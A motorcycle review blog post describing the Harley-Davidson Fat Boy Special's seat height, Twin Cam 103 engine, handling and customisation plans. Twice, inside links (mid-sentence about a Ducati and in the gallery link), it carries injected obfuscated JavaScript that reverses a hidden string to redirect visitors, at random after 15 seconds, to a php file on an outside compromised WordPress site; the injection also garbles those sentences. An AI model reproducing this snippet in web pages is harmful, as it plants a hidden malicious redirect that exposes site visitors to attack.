Harley Davidson. Fat Boy Special. The One For Me

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The looks may have given my heartstrings a hefty tug, but the ride temporarily made them stop, and not in a ‘holy hell, I’m completely out of control!’ kind of way. For starters, the Fat Boy has the lowest seat setup in the Harley-Davidson range, and that makes a difference on the highways and back roads. All of a sudden the bike’s agility feels more profound, the connection to the road and feel for throttle input more intrinsic to the ride than they perhaps would be if the seat was set just a few inches higher.

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Let’s also not forget that the Fat Boy Special is powered by the new air-cooled Twin Cam 103cu engine, which produces 1690cc and thus more grunt (and torque) than the preceding 96cu powerplant. It won’t knock you off your seat when you twist the right wrist, but the power will give you a nice punt in the chest as the inertia kicks in and the linear acceleration begins to pick up apace. Thanks to good low-end torque, you’ll pretty much scamper out of the starting blocks, thanks to responsive shifts from the six-speed Cruise Drive transmission.

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Don’t get me wrong though. This is no track day bruiser. Sure, there’s agility thanks to good weight distribution, four-piston brakes that can really take some punishment, and taut steering that makes the front fat Dunlop easy to place. Chances are though that the only time you’ll be entering a corner and be putting your knee down is when you’re seconds from dismounting heavily against the asphalt. Power and poise mean you can ride this Harley-Davidson with vim, but treat it like a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/ducati-1199-panigale-launch-ride-yas-marina/” target=”_blank”>Ducati superbike, and the Fat Boy will fold.

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Imagine, for example, somebody has thrown you the keys to a second-generation 1960s Chevrolet Corvette. More than likely you wouldn’t be too interested in seeing how it handles through the twisties (given that American muscle cars are not exactly known for their precision in the corners). The main draw would be the snarling V8 buckled down under the bonnet, and how said monster growls its power out across hundred and hundreds of kilometres of open road. It’s all about the journey. Hopefully this explains why, in just a week, I’ve already put 500km on the Fat Boy’s clock.

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There is though one very salient point I’ve yet to bring up. The Fat Boy Special is, as far as I’m concerned, an ideal canvas for customization. One thing a Harley-Davidson will always be is individual. But I want more. I want unique.

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That’s why, over the next few months, this particular model will be going through some changes, and I’m not just talking about a couple of Harley accessories. I’m talking about a custom changeover, starting with…

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…well, you’ll just have to check back with crankandpiston to find that out.

– Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/harley-davidson-fat-boy-special/” target=”_blank”>our full gallery HERE.

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